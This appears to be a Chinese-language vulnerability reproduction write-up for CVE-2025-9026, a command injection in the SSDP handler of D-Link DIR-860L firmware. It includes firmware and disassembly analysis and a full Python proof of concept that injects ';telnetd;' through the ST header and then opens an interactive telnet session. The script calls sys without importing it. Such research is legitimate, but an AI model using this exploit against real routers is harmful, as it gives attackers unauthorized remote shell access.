CVE-2025-9026复现
漏洞信息
CVE-2025-9026 是 D-Link DIR-860L 固件 2.04.B04 中 SSDP(Simple Service Discovery Protocol)组件的 ssdpcgi_main 函数存在远程 OS 命令注入 漏洞,可被未经授权远程利用。
信息收集
- binwalk解包
- 搜索漏洞点所在函数定位到相关二进制文件
- checksec&file
可以看到cgibin文件是mips架构下32位小端,没有开启栈保护和NX保护
漏洞分析
用IDA分析cgibin文件
搜索字符串ssdpcgi_main定位到漏洞点所在函数
这是一个 CGI handler (ssdpcgi_main)。
当参数 a1 == 2 时,取多个环境变量:
- HTTP_ST (UPnP/SSDP 的 search target)
- REMOTE_ADDR
- REMOTE_PORT
- SERVER_ID
根据 HTTP_ST 的内容,调用 lxmldbc_system 去执行脚本 /etc/scripts/upnp/M-SEARCH.sh,并拼接环境变量作为参数。
查看lxmldbc_system
- 这个函数本质上就是:
printf 风格字符串格式化 + system() 执行。 - 所有传入的参数(REMOTE_ADDR, REMOTE_PORT, SERVER_ID, HTTP_ST 等)
→ 会被填充进 v6 字符串
→ 然后原封不动传给 system()。 - system() 会调用 /bin/sh -c "…", 任何包含 shell 元字符的输入都能被解释执行。
根据以上分析可以知道该漏洞点所在函数的调用关系
ssdpcgi_main(int a1)
└── 根据 HTTP 环境变量 (HTTP_ST, REMOTE_ADDR, REMOTE_PORT, SERVER_ID)
└── 调用 lxmldbc_system(fmt, args...)
└── vsnprintf 拼接字符串到缓冲区
└── system(v6) → /bin/sh -c "v6"
-
用户输入进入ssdpcgi_main
攻击者通过构造 SSDP 协议请求(如 HTTP 头),控制以下环境变量:- HTTP_ST(对应代码中的v3,SSDP 的搜索目标字段)
- REMOTE_ADDR(v4,客户端 IP)
- REMOTE_PORT(v5,客户端端口)
这些变量的值完全由攻击者控制。
-
ssdpcgi_main拼接命令格式
函数根据v3的不同值,使用lxmldbc_system构造命令字符串,例如:- 当v3以"uuid:"开头时,调用:
lxmldbc_system("%s uuid %s:%s %s %s &",
"/etc/scripts/upnp/M-SEARCH.sh", v4, v5, v6, v3);
// v3是用户可控的HTTP_ST
此时,格式化字符串中的%s会被v4(IP)、v5(端口)、v3(HTTP_ST)等用户可控值填充。
- 当v3以"uuid:"开头时,调用:
-
lxmldbc_system执行拼接命令
- 该函数通过vsnprintf(v6, 1024, a1, (int *)va)将格式化字符串与参数拼接为完整命令(如/etc/scripts/upnp/M-SEARCH.sh uuid 192.168.1.100:1234 server_id uuid:xxx &)。
- 拼接结果直接传入system(v6)执行,而system()会调用 shell 解析命令字符串。
漏洞验证
固件模拟
FirmAE模拟
构造POC
根据上面对漏洞的分析,我们可以构造一个poc来验证漏洞
import socket
import time
import telnetlib
def config_payload(target_ip, ssdp_port):
malicious_st = "urn:device:1;telnetd;#" # 核心注入:启动telnet服务
ssdp_request = (
"M-SEARCH * HTTP/1.1\r\n"
"HOST: 239.255.255.250:%d\r\n" # SSDP标准多播地址
"ST: %s\r\n" # 包含恶意命令的ST字段
"MAN: \"ssdp:discover\"\r\n" # 标准SSDP发现标识
"MX: 2\r\n" # 等待响应的最大时间(秒)
"\r\n" # 空行结束请求头
) % (ssdp_port, malicious_st)
return ssdp_request
def send_ssdp_request(target_ip, ssdp_port, payload):
"""发送SSDP UDP请求"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2) # 多播TTL
sock.sendto(payload.encode("utf-8"), (target_ip, ssdp_port)) # 发送到目标设备IP(部分设备需直接发设备IP)
print(f"[INFO] 已向 {target_ip}:{ssdp_port} 发送恶意SSDP请求(尝试启动telnetd)")
sock.close()
return True
except Exception as e:
print(f"[ERROR] 发送请求失败:{str(e)}")
return False
def check_telnet(target_ip, telnet_port=23):
"""检查telnet服务是否启动(验证漏洞是否利用成功)"""
print(f"[INFO] 等待3秒,确保telnetd服务启动...")
time.sleep(3) # 给服务启动留时间
try:
# 尝试连接telnet端口(默认23)
tn = telnetlib.Telnet(target_ip, telnet_port, timeout=5)
tn.close()
print(f"[SUCCESS] telnet服务已启动!目标 {target_ip} 存在CVE-2025-9026漏洞,可尝试登录。")
return True
except ConnectionRefusedError:
print(f"[FAIL] telnet连接被拒绝,可能漏洞不存在或telnetd未启动。")
except socket.timeout:
print(f"[FAIL] telnet连接超时,目标可能未开启telnet服务。")
except Exception as e:
print(f"[ERROR] 检查telnet时出错:{str(e)}")
return False
def try_telnet_login(target_ip, telnet_port=23):
"""尝试telnet登录(供验证后使用,需知道默认账号密码)"""
print(f"\n[INFO] 尝试telnet登录 {target_ip}(默认账号密码可能为 admin/admin 等)...")
try:
tn = telnetlib.Telnet(target_ip, telnet_port, timeout=10)
tn.interact() # 进入交互模式
tn.close()
except Exception as e:
print(f"[ERROR] telnet登录失败:{str(e)}")
if __name__ == "__main__":
# 从命令行接收目标IP,提高灵活性
if len(sys.argv) != 2:
print(f"用法:{sys.argv[0]} <目标设备IP>")
print(f"示例:{sys.argv[0]} 192.168.1.1")
sys.exit(1)
target_ip = sys.argv[1]
ssdp_port = 1900 # SSDP默认端口
telnet_port = 23 # telnet默认端口
# 1. 构造恶意SSDP请求
payload = config_payload(target_ip, ssdp_port)
# 2. 发送请求
if send_ssdp_request(target_ip, ssdp_port, payload):
# 3. 检查telnet服务是否启动(验证漏洞)
if check_telnet(target_ip, telnet_port):
# 4. 可选:尝试登录(需知道默认账号密码)
try_telnet_login(target_ip, telnet_port)
sys.exit(0)
执行poc
补充信息
SSDP(Simple Service Discovery Protocol,简单服务发现协议)是一种基于 UDP 的网络协议,用于在局域网(LAN)中自动发现设备和服务。它是 UPnP(Universal Plug and Play,通用即插即用)协议栈的一部分,主要用于家庭网络和小型办公网络中设备的自动发现和互操作。
工作原理
- 发现设备(Discovery)
- 当一个设备(如智能电视、路由器或打印机)连接到网络时,它会广播一个 M-SEARCH 请求,询问网络中是否存在支持某类服务的设备。
- 其他设备收到请求后,会返回自己的信息,包括设备类型、服务类型、唯一标识符(UUID)和描述 URL。
- 通告设备(Advertisement / Notification)
- 当设备上线或状态发生变化时,它会向 239.255.255.250:1900(IPv4 多播地址)发送 NOTIFY 消息,告知网络中其他设备它的存在及服务信息。
- 消息通常包含设备的描述文件 URL、设备类型、服务列表等。
- 协议格式
SSDP 使用类似 HTTPU(HTTP over UDP) 的消息格式,主要包含以下字段:- HOST: 多播地址和端口(通常是 239.255.255.250:1900)
- MAN: 指明消息类型,例如 "ssdp:discover"
- ST(Search Target): 要查找的设备类型或服务类型
- USN(Unique Service Name): 设备唯一标识符
- LOCATION: 设备描述 XML 文件 URL
- 通信端口
- UDP 1900 是默认端口,使用 IPv4 多播。
- IPv6 版本使用 FF02::C 多播